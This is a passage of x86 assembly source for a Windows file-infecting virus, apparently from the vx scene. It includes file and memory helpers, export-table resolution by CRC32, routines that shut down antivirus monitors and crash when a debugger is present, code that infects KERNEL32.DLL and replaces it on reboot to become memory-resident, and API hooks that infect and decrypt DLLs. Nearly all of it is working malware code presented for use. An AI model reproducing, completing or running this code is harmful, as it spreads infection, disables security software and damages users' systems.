; ESI ... file pos
|
|||
|
; EBX ... file handle
|
|||
|
|
|||
|
call __MySeekFile
|
|||
|
pusha
|
|||
|
xor eax,eax
|
|||
|
push ecx ;save for later using...
|
|||
|
push eax ;file bigger then 2^64-2 ?
|
|||
|
lea eax,[ebp+last_error]
|
|||
|
push eax
|
|||
|
push ecx ;number of bytes to write
|
|||
|
push edx ;source buffer
|
|||
|
push ebx ;file handle
|
|||
|
call [ebp+ddWriteFile]
|
|||
|
pop [esp].access_ecx
|
|||
|
popa
|
|||
|
cmp ecx,[ebp+last_error]
|
|||
|
jnz $+3 ;jump if STC, if not CLC :)
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
mov ecx,[ebp+last_error]
|
|||
|
ret
|
|||
|
|
|||
|
__MySeekFile: ; seek in the file
|
|||
|
; input:
|
|||
|
; ESI ... new file pos
|
|||
|
; EBX ... file handle
|
|||
|
|
|||
|
pusha
|
|||
|
xor eax,eax
|
|||
|
push eax ;FILE_BEGIN defined in "WinBase.H"
|
|||
|
push eax ;support 2^64-2 file size ?
|
|||
|
push esi ;new file size
|
|||
|
push ebx ;file handle
|
|||
|
call [ebp+ddSetFilePointer]
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__MySetAttrFile: ; change file attributes
|
|||
|
; input:
|
|||
|
; ECX ... new file attributes
|
|||
|
; EDX ... file name pointer
|
|||
|
|
|||
|
pusha
|
|||
|
push ecx ;new attributes
|
|||
|
push edx ;file name pointer
|
|||
|
call [ebp+ddSetFileAttributesA]
|
|||
|
mov [esp].access_eax,eax
|
|||
|
popa
|
|||
|
or eax,eax
|
|||
|
jz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
__MyCloseFile: ; close (EBX) file handle
|
|||
|
|
|||
|
pusha
|
|||
|
push ebx ;handle to close
|
|||
|
call [ebp+ddCloseHandle]
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__MyGetFileSize: ; get file size
|
|||
|
; input:
|
|||
|
; EBX ... file handle
|
|||
|
|
|||
|
pusha
|
|||
|
push 00000000h ;file bigger then 2^64-2 ?
|
|||
|
push ebx ;file handle
|
|||
|
call [ebp+ddGetFileSize]
|
|||
|
mov [esp].access_eax,eax
|
|||
|
popa
|
|||
|
cmp eax,-1
|
|||
|
jz $+3
|
|||
|
test al,0F8h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
__MyFindFirst: ; search certain file
|
|||
|
; input:
|
|||
|
; EDX ... file mask
|
|||
|
; ESI ... dta
|
|||
|
; output:
|
|||
|
; EAX ... handle, CF status
|
|||
|
|
|||
|
pusha
|
|||
|
push esi ;output dta
|
|||
|
push edx ;file mask
|
|||
|
call [ebp+ddFindFirstFileA]
|
|||
|
mov [esp].access_eax,eax
|
|||
|
popa
|
|||
|
cmp eax,-1 ;were we successful ?
|
|||
|
jz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
__MyFindNext: ; find next file
|
|||
|
; input:
|
|||
|
; EAX ... handle
|
|||
|
; ESI ... dta
|
|||
|
|
|||
|
pusha
|
|||
|
push esi ;output dta
|
|||
|
push eax ;FindFirstFile handle
|
|||
|
call [ebp+ddFindNextFileA]
|
|||
|
or eax,eax ;success ?
|
|||
|
popa
|
|||
|
jz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
__MyFindClose: ; close file searcher
|
|||
|
; input:
|
|||
|
; EAX ... handle
|
|||
|
|
|||
|
pusha
|
|||
|
push eax ;FindFirstFile handle
|
|||
|
call [ebp+ddFindClose]
|
|||
|
mov [esp].access_eax,eax
|
|||
|
popa
|
|||
|
or eax,eax ;success ?
|
|||
|
jz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
malloc: ; allocate memory (EAX)
|
|||
|
|
|||
|
pusha
|
|||
|
mov ebx,eax
|
|||
|
push 00000000h ;name of mapping object
|
|||
|
push eax ;low 32 bits of object size
|
|||
|
push 00000000h ;high 32 bits of object size
|
|||
|
push PAGE_READWRITE
|
|||
|
push 00000000h ;optional security attributes
|
|||
|
push -1 ;no file, only shared memory
|
|||
|
call [ebp+ddCreateFileMappingA]
|
|||
|
or eax,eax
|
|||
|
jz __malloc_failed ;success ?
|
|||
|
|
|||
|
push ebx ;number of bytes to map
|
|||
|
push 00000000h ;low 32 bits of file offset
|
|||
|
push 00000000h ;high 32 bits of file offset
|
|||
|
push FILE_MAP_WRITE ;access mode
|
|||
|
push eax ;mapped object
|
|||
|
call [ebp+ddMapViewOfFile]
|
|||
|
|
|||
|
__malloc_failed:
|
|||
|
mov [esp].access_eax,eax ;memory address or NULL
|
|||
|
popa
|
|||
|
or eax,eax
|
|||
|
ret
|
|||
|
|
|||
|
mdealloc: ; deallocate memory (EAX)
|
|||
|
|
|||
|
pusha
|
|||
|
push eax ;mapped address
|
|||
|
call [ebp+ddUnmapViewOfFile]
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__MyCreateThread: ; create thread
|
|||
|
; input:
|
|||
|
; EAX ... thread function
|
|||
|
; EBX ... parameter
|
|||
|
; output:
|
|||
|
; EAX ... thread handle
|
|||
|
|
|||
|
pusha
|
|||
|
call $+9 ;thread identifier
|
|||
|
dd ?
|
|||
|
push 00000000h ;create flags
|
|||
|
__mct_continue:
|
|||
|
push ebx ;parameter
|
|||
|
push eax ;start address
|
|||
|
push 00000000h ;stack size
|
|||
|
push 00000000h ;security attributes
|
|||
|
call [ebp+ddCreateThread]
|
|||
|
mov [esp].access_eax,eax ;EAX through POPA :)
|
|||
|
popa
|
|||
|
or eax,eax
|
|||
|
jz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to get kernel's address <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function searchs functions in:
|
|||
|
; * KERNEL32.DLL, USER32.DLL, ADVAPI32.DLL
|
|||
|
;At first I'll open library, get export table, RVA ... and
|
|||
|
;then I'll compare CRC32 with function names.
|
|||
|
;
|
|||
|
__fk32_inside dd 00000000h ;library tables
|
|||
|
;
|
|||
|
|
|||
|
find_kernel32:
|
|||
|
mov eax,[esp+8] ;I need kernel's address
|
|||
|
and eax,0FFFF0000h
|
|||
|
add eax,65536
|
|||
|
__scanning: sub eax,65536
|
|||
|
cmp word ptr [eax],'ZM'
|
|||
|
jnz __scanning
|
|||
|
pusha
|
|||
|
mov [ebp+kernel_base],eax
|
|||
|
mov edx,eax
|
|||
|
|
|||
|
; kernel's base 'MZ' address in EAX
|
|||
|
mov ebx,eax
|
|||
|
add eax,[eax+3ch]
|
|||
|
add ebx,[eax+78h]
|
|||
|
mov [ebp+__fk32_inside],ebx
|
|||
|
|
|||
|
; search functions from "k32.dll, user32.dll, advapi32.dll"
|
|||
|
lea ebx,[ebp+FunctionNames]
|
|||
|
lea edi,[ebp+FunctionAddresses]
|
|||
|
mov ecx,00000003h
|
|||
|
__fk32_next_library:
|
|||
|
push ecx ;number of libraries
|
|||
|
__fk32_next_function:
|
|||
|
mov esi,[ebx] ;get function's CRC32
|
|||
|
mov [ebp+__sET_crc32],esi
|
|||
|
call __searchET
|
|||
|
stosd ;write its address
|
|||
|
add ebx,00000004h ;next CRC32 value
|
|||
|
cmp dword ptr [ebx],00000000h ;end of functions
|
|||
|
jnz __fk32_next_function ;of current library ?
|
|||
|
add ebx,00000005h ;now, library name
|
|||
|
movzx ecx,byte ptr [ebx-1] ;EAX ... length of library
|
|||
|
or ecx,ecx
|
|||
|
jz __fk32_finish
|
|||
|
|
|||
|
push ebx ebx ;library name
|
|||
|
add [esp+00000004h],ecx
|
|||
|
call [ebp+ddLoadLibraryA]
|
|||
|
mov ecx,-2 ;libraries without k32
|
|||
|
add ecx,[esp+00000004h] ;get number of libraries
|
|||
|
mov [ebp+user32_base+ecx*4],eax
|
|||
|
mov ebx,eax ;start of file header
|
|||
|
mov edx,eax
|
|||
|
add eax,[eax+3ch]
|
|||
|
add ebx,[eax+78h]
|
|||
|
mov [ebp+__fk32_inside],ebx
|
|||
|
pop ebx ;function names
|
|||
|
|
|||
|
; next library ?
|
|||
|
__fk32_finish:
|
|||
|
pop ecx
|
|||
|
loop __fk32_next_library
|
|||
|
|
|||
|
popa ;bye, bye K32, U32, A32...
|
|||
|
ret ;what a pleasure work with u!
|
|||
|
|
|||
|
; search function's address
|
|||
|
__searchET:
|
|||
|
pusha
|
|||
|
mov ebx,[ebp+__fk32_inside]
|
|||
|
mov ecx,[ebx+32] ;search export table of
|
|||
|
add ecx,edx ;KERNEL32, searching
|
|||
|
__sET_next:
|
|||
|
mov esi,[ecx] ;the names, then the ordinal
|
|||
|
add esi,edx ;and, finally the RVA pointerz
|
|||
|
call __get_CRC32 ;get name's CRC32 :)
|
|||
|
mov edi,12345678h
|
|||
|
__sET_crc32 equ dword ptr $-4
|
|||
|
cmp eax,edi ;compare CRC32
|
|||
|
jz __sET_found
|
|||
|
add ecx,00000004h
|
|||
|
jmp __sET_next
|
|||
|
__sET_found:
|
|||
|
sub ecx,[ebx+32]
|
|||
|
sub ecx,edx
|
|||
|
shr ecx,1
|
|||
|
add ecx,[ebx+36]
|
|||
|
add ecx,edx
|
|||
|
movzx ecx,word ptr [ecx]
|
|||
|
shl ecx,2
|
|||
|
add ecx,[ebx+28]
|
|||
|
add ecx,edx
|
|||
|
mov ecx,[ecx]
|
|||
|
add ecx,edx
|
|||
|
mov [esp].access_eax,ecx ;ehm, save ECX through POPA
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ search fixed, cd-rom, ram-disk, etc. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function gets information about disks. I call
|
|||
|
;GetDriveType function to get type of disk. You can use
|
|||
|
;Win32API Help to know more or WinBase.H (CBuilder, MSVC)
|
|||
|
;where you can see more flagz and their valuez. So, I can
|
|||
|
;use GetLogicalDrives function, but that's one.
|
|||
|
;
|
|||
|
get_disks:
|
|||
|
|
|||
|
pusha
|
|||
|
xor ebx,ebx
|
|||
|
mov byte ptr [ebp+__disk],'A'
|
|||
|
|
|||
|
; GetDriveType function...
|
|||
|
__gd_search:
|
|||
|
lea eax,[ebp+__disk]
|
|||
|
push eax
|
|||
|
mov eax,[ebp+ddGetDriveTypeA]
|
|||
|
call eax
|
|||
|
|
|||
|
cmp eax,00000003h ;DISK_FIXED flag
|
|||
|
jz __gd_found
|
|||
|
|
|||
|
__gd_new_disk:
|
|||
|
cmp byte ptr [ebp+__disk],'Z'
|
|||
|
jz __gd_finish
|
|||
|
inc byte ptr [ebp+__disk]
|
|||
|
jmp __gd_search
|
|||
|
|
|||
|
__gd_found:
|
|||
|
mov cl,'A'
|
|||
|
sub cl,byte ptr [ebp+__disk]
|
|||
|
neg cl
|
|||
|
mov eax,00000001h
|
|||
|
shl eax,cl ;convert to BCD
|
|||
|
or ebx,eax
|
|||
|
jmp __gd_new_disk
|
|||
|
|
|||
|
__gd_finish:
|
|||
|
mov [ebp+gdt_flags],ebx
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__disk:
|
|||
|
db 'A:\',0
|
|||
|
|
|||
|
;<3B><>Ĵ function to kill some AV monitors <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This is very interesting function how to send message to
|
|||
|
;AV monitor to kill itself (AVP, AMON, AVG, AVAST monitor)
|
|||
|
;
|
|||
|
kill_av_monitors:
|
|||
|
|
|||
|
lea esi,[ebp+kill_AV] ;address of strings
|
|||
|
xor edi,edi
|
|||
|
mov ecx,kill_AV_num ;three monitors
|
|||
|
__kam_checking:
|
|||
|
push ecx ;save counter
|
|||
|
push esi ;AV string
|
|||
|
push edi ;NULL
|
|||
|
call [ebp+ddFindWindowA]
|
|||
|
test eax,eax ;found ?
|
|||
|
je __kam_next_monitor
|
|||
|
push edi ;send message to AV monitor
|
|||
|
push edi ;to kill itself :)
|
|||
|
push 00000012h
|
|||
|
push eax
|
|||
|
call [ebp+ddPostMessageA] ;kill it, hehe :)
|
|||
|
__kam_next_monitor:
|
|||
|
@endsz ;next monitor
|
|||
|
pop ecx
|
|||
|
loop __kam_checking
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to kill some debuggers <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether some debuggers are active.
|
|||
|
;I use these methods:
|
|||
|
; * IsDebuggerPresent, kill SoftICE, kill TD32, etc.
|
|||
|
;
|
|||
|
;this code has been stolen from Benny's source, hi Benny :)
|
|||
|
;
|
|||
|
kill_debuggers:
|
|||
|
|
|||
|
; check standard debugger
|
|||
|
mov eax,[ebp+ddIsDebuggerPresent]
|
|||
|
IFNDEF DEBUG
|
|||
|
call eax ;check debug...
|
|||
|
or eax,eax
|
|||
|
jnz __kd_found
|
|||
|
ENDIF
|
|||
|
|
|||
|
; check whether SoftICE 95/98/NT/2000 is active
|
|||
|
lea edx,[ebp+kill_SoftICE]
|
|||
|
call __MyOpenFile
|
|||
|
jnc __kd_found
|
|||
|
lea edx,[ebp+kill_SoftICE_NT]
|
|||
|
call __MyOpenFile
|
|||
|
jnc __kd_found
|
|||
|
|
|||
|
; check others debuggers
|
|||
|
mov eax,fs:[20h]
|
|||
|
or eax,eax
|
|||
|
IFNDEF DEBUG
|
|||
|
jnz __kd_found
|
|||
|
ENDIF
|
|||
|
ret
|
|||
|
|
|||
|
__kd_found:
|
|||
|
xor esp,esp ;im sorry :)
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to infect KERNEL32.DLL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function have to infect "KERNEL32.DLL" to this virus
|
|||
|
;become memory resident.
|
|||
|
;
|
|||
|
;I would like to thank;
|
|||
|
; * Lord Julus/29A for his article about this in VxTasy.
|
|||
|
;
|
|||
|
__ik_system dd 00000000h ;system directory
|
|||
|
__ik_window dd 00000000h ;window directory
|
|||
|
__ik_wininit db '\WININIT.INI',0
|
|||
|
__ik_nul db 'NUL',0
|
|||
|
__ik_rename db 'Rename',0 ;section name
|
|||
|
;
|
|||
|
infect_kernel:
|
|||
|
|
|||
|
; allocate memory for SYSTEM and WINDOWS directory
|
|||
|
mov eax,filename_size
|
|||
|
call malloc
|
|||
|
mov [ebp+__ik_system],eax
|
|||
|
mov eax,filename_size
|
|||
|
call malloc
|
|||
|
mov [ebp+__ik_window],eax
|
|||
|
|
|||
|
; find SYSTEM directory
|
|||
|
push filename_size
|
|||
|
push [ebp+__ik_system]
|
|||
|
call [ebp+ddGetSystemDirectoryA]
|
|||
|
|
|||
|
; find WINDOWS directory
|
|||
|
push filename_size
|
|||
|
push [ebp+__ik_window]
|
|||
|
call [ebp+ddGetWindowsDirectoryA]
|
|||
|
|
|||
|
; copy \WINDOWS\SYSTEM + \KERNEL32.DLL
|
|||
|
lea eax,[ebp+kernel_name]
|
|||
|
push eax eax
|
|||
|
push [ebp+__ik_system]
|
|||
|
call [ebp+ddlstrcat]
|
|||
|
|
|||
|
; copy \WINDOWS + \KERNEL32.DLL
|
|||
|
push [ebp+__ik_window]
|
|||
|
call [ebp+ddlstrcat]
|
|||
|
|
|||
|
; copy KERNEL32.DLL from SYSTEM directory to '..'
|
|||
|
push 00000000h ;rewrite it
|
|||
|
push [ebp+__ik_window] ;new filepath
|
|||
|
push [ebp+__ik_system] ;actual filename
|
|||
|
call [ebp+ddCopyFileA]
|
|||
|
or eax,eax ;if error, we're probably
|
|||
|
jz __ik_fault ;in memory :)
|
|||
|
|
|||
|
mov eax,[ebp+__ik_window]
|
|||
|
mov [ebp+filename_ptr],eax
|
|||
|
mov [ebp+it_is_kernel],01h ;infect kernel flag
|
|||
|
call infect_file
|
|||
|
|
|||
|
; check system version Win9X or WinNT/2k ?
|
|||
|
call [ebp+ddGetVersion]
|
|||
|
bt eax,3Fh ;get last bit
|
|||
|
jnc __ik_nt2k ;jump if WinNT/2k
|
|||
|
push [ebp+__ik_window]
|
|||
|
call [ebp+ddlstrlen]
|
|||
|
xchg edi,eax
|
|||
|
inc edi
|
|||
|
push filename_size
|
|||
|
push [ebp+__ik_window]
|
|||
|
add [esp],edi
|
|||
|
call [ebp+ddGetWindowsDirectoryA]
|
|||
|
lea eax,[ebp+__ik_wininit] ;wininit file name
|
|||
|
push eax
|
|||
|
push [ebp+__ik_window]
|
|||
|
add [esp],edi
|
|||
|
call [ebp+ddlstrcat] ;window_dir + wininit
|
|||
|
|
|||
|
; create WININIT.INI file and update one !
|
|||
|
push [ebp+__ik_window]
|
|||
|
add [esp],edi
|
|||
|
push [ebp+__ik_system] ;existing KERNEL32.DLL
|
|||
|
lea eax,[ebp+__ik_nul]
|
|||
|
push eax
|
|||
|
lea eax,[ebp+__ik_rename]
|
|||
|
push eax
|
|||
|
call [ebp+ddWritePrivatePFStringA]
|
|||
|
|
|||
|
; build the rename INI instruction
|
|||
|
push [ebp+__ik_window] ;wininit path
|
|||
|
add [esp],edi
|
|||
|
push [ebp+__ik_window] ;infected/old k32
|
|||
|
push [ebp+__ik_system] ;new k32 path
|
|||
|
lea eax,[ebp+__ik_rename] ;rename section
|
|||
|
push eax
|
|||
|
call [ebp+ddWritePrivatePFStringA]
|
|||
|
jmp __ik_fault
|
|||
|
__ik_nt2k:
|
|||
|
push 00000005h ;after reboot, replace
|
|||
|
push [ebp+__ik_system] ;new k32 path
|
|||
|
push [ebp+__ik_window] ;old k32 path
|
|||
|
call [ebp+ddMoveFileExA]
|
|||
|
|
|||
|
__ik_fault:
|
|||
|
mov eax,[ebp+__ik_window]
|
|||
|
call mdealloc
|
|||
|
mov eax,[ebp+__ik_system]
|
|||
|
call mdealloc
|
|||
|
mov [ebp+it_is_kernel],00h
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ hooked functions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
myCreateFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myCreateFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myOpenFile: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
my_lopen: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
|
|||
|
myCopyFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myCopyFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myMoveFileW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myMoveFileA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myMoveFileExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myMoveFileExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
|
|||
|
myLoadLibraryW db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myLoadLibraryA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myLoadLibraryExW: db 0E8h,hookInfectFile-$-3,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myLoadLibraryExA: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
myFreeLibrary: db 0E8h,hookInfectFile-$-4,0,0,0,68h,?,?,?,?,0C3h
|
|||
|
|
|||
|
EndOfNewFunctions equ this byte
|
|||
|
|
|||
|
;<3B><>Ĵ common hooked functions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function is runned from kernel32 file, first time do
|
|||
|
; * clear some valuez, bufferz
|
|||
|
; * delete files in \TEMP\ (droppers)
|
|||
|
; * create "already resident" flag (mutex)
|
|||
|
; * inicialize "Hyper Infection" (SetTimer)
|
|||
|
; * create a crypto thread
|
|||
|
; * get actual process ID
|
|||
|
;Then if I'll catch "FreeLibrary" function, I'll do:
|
|||
|
; * call "crypto_get_library" (more info there)
|
|||
|
;And If I'll catch "LoadLibrary, CreateFile, ..." function
|
|||
|
; * is it a DLL file
|
|||
|
; * call "crypto_thread" by CT_DECRYPTFILE flag
|
|||
|
;
|
|||
|
;We might say this function is the most important in virus
|
|||
|
;many problems were here.
|
|||
|
;
|
|||
|
hookInfectFile:
|
|||
|
|
|||
|
; prepare for UniCode functions
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
|
|||
|
IFDEF DEBUG ;my SoftICE breakpoint
|
|||
|
int 4 ;many battles were here
|
|||
|
ENDIF
|
|||
|
|
|||
|
pusha ;save all registers
|
|||
|
pushf ;save all flags
|
|||
|
pushf
|
|||
|
call get_base_ebp ;get delta offset
|
|||
|
popf
|
|||
|
jnc __hif_no_stop ;ansi version
|
|||
|
call unicode2ansi
|
|||
|
jz __hif_finish ;no bytes converted ?
|
|||
|
jmp __hif_continue
|
|||
|
|
|||
|
; test whether "Prizzy Hyper Infection" has been actived...
|
|||
|
__hif_no_stop:
|
|||
|
cmp dword ptr [ebp+HyperInfection_k32],00000000h
|
|||
|
jnz __hif_continue
|
|||
|
call clear_valuez ;clear archive structures
|
|||
|
call clear_temp_droppers ;delete temp file trom \TEMP\
|
|||
|
call create_mutex ;already resident
|
|||
|
call hookHyperInfection ;inicialize "HyperInfection"
|
|||
|
lea eax,[ebp+crypt_thread] ;create common crypt thread
|
|||
|
mov ebx,ebp ;...and its parameter
|
|||
|
call __MyCreateThread
|
|||
|
mov [ebp+crypto_mainThread],eax
|
|||
|
call [ebp+ddGetCurrentProcessId] ;get process ID number
|
|||
|
mov [ebp+crypto_mainProcId],eax
|
|||
|
mov [ebp+crypto_thread],CT_LOADKEY ;load cryptography
|
|||
|
mov [ebp+crypto_thread_err],'!A92' ;key and wait then
|
|||
|
__hif_crLoadKey:
|
|||
|
push 50 ;active thread to load crypto
|
|||
|
push [ebp+crypto_mainThread] ;key
|
|||
|
call [ebp+ddWaitForSingleObject]
|
|||
|
cmp [ebp+crypto_thread_err],'!A92'
|
|||
|
jz __hif_crLoadKey
|
|||
|
|
|||
|
; which type of function is called ?
|
|||
|
__hif_continue:
|
|||
|
lea eax,[ebp+myCreateFileW] ;start of table
|
|||
|
sub eax,[esp+00000024h] ;return address
|
|||
|
neg eax
|
|||
|
sub eax,00000005h ; - call instruction
|
|||
|
mov ebx,(offset myCreateFileA - offset myCreateFileW)
|
|||
|
cdq
|
|||
|
div ebx ;get number of function
|
|||
|
cmp ax,000Eh ;FreeLibrary ?
|
|||
|
jz crypt_get_library
|
|||
|
|
|||
|
; get filename length
|
|||
|
__hif_get_flen:
|
|||
|
mov esi,[esp+0000002Ch] ;get file name
|
|||
|
push esi
|
|||
|
call [ebp+ddlstrlen] ;not including null terminator
|
|||
|
or eax,eax ;zero length
|
|||
|
jz __hif_finish
|
|||
|
inc eax ; + zero char
|
|||
|
|
|||
|
; copy filename to the buffer
|
|||
|
lea edi,[ebp+filename] ;destination buffer
|
|||
|
mov [ebp+filename_ptr],edi
|
|||
|
mov ecx,eax ;filename length
|
|||
|
rep movsb
|
|||
|
|
|||
|
; upcase characters
|
|||
|
push eax ;number of characters
|
|||
|
push [ebp+filename_ptr] ;filename
|
|||
|
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
|||
|
|
|||
|
; CreateFile, OpenFile, CopyFile, MoveFile, ...
|
|||
|
lea esi,[ebp+filename] ;find the end of filename
|
|||
|
mov [ebp+filename_ptr],esi
|
|||
|
@endsz ;ehm :)
|
|||
|
|
|||
|
; use crypto thread to decrypt file
|
|||
|
cmp [esi-5],'LLD.' ;DLL file ?
|
|||
|
jnz __hif_finish ;or not ?
|
|||
|
cmp [ebp+crypto_thread_err],'!A92'
|
|||
|
jz __hif_finish ;other process ?
|
|||
|
mov [ebp+crypto_thread],CT_DECRYPTFILE
|
|||
|
mov [ebp+crypto_thread_err],'!A92'
|
|||
|
push [ebp+crypto_mainProcId] ;active the process where I
|
|||
|
push 00000000h ;created my thread, I can't
|
|||
|
push 00000001h ;call thread for other pro-
|
|||
|
call [ebp+ddOpenProcess] ;cess, so I have to active
|
|||
|
push eax ;its and then go back, mul-
|
|||
|
__hif_cDecryptFile: ;titasking world !!!
|
|||
|
push 50
|
|||
|
push dword ptr [esp+00000004h]
|
|||
|
call [ebp+ddWaitForSingleObject]
|
|||
|
cmp [ebp+crypto_thread_err],'!A92'
|
|||
|
jz __hif_cDecryptFile ;crypto thread must decrypt
|
|||
|
call [ebp+ddCloseHandle] ;in stack is its handle
|
|||
|
|
|||
|
__hif_finish:
|
|||
|
popf
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ start HyperInfection inside KERNEL32.DLL <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Before then I will start I must load "USER32", "ADVAPI32"
|
|||
|
;libraries and re-write all my function offsets. I do NOT
|
|||
|
;exactly know whether it must be but when I'll load these
|
|||
|
;libraries sometimes later I should get other offset then
|
|||
|
;after 1st running. Next, I must install timer on "Hyper
|
|||
|
;Infection" function.
|
|||
|
;
|
|||
|
hookHyperInfection:
|
|||
|
|
|||
|
; load "USER32.DLL" library
|
|||
|
lea eax,[ebp+user32_name] ;library name
|
|||
|
call [ebp+ddLoadLibraryA], eax
|
|||
|
or eax,eax ;failed ?
|
|||
|
jz __hhi_finish
|
|||
|
mov ebx,eax
|
|||
|
|
|||
|
; load "ADVAPI32.DLL" library
|
|||
|
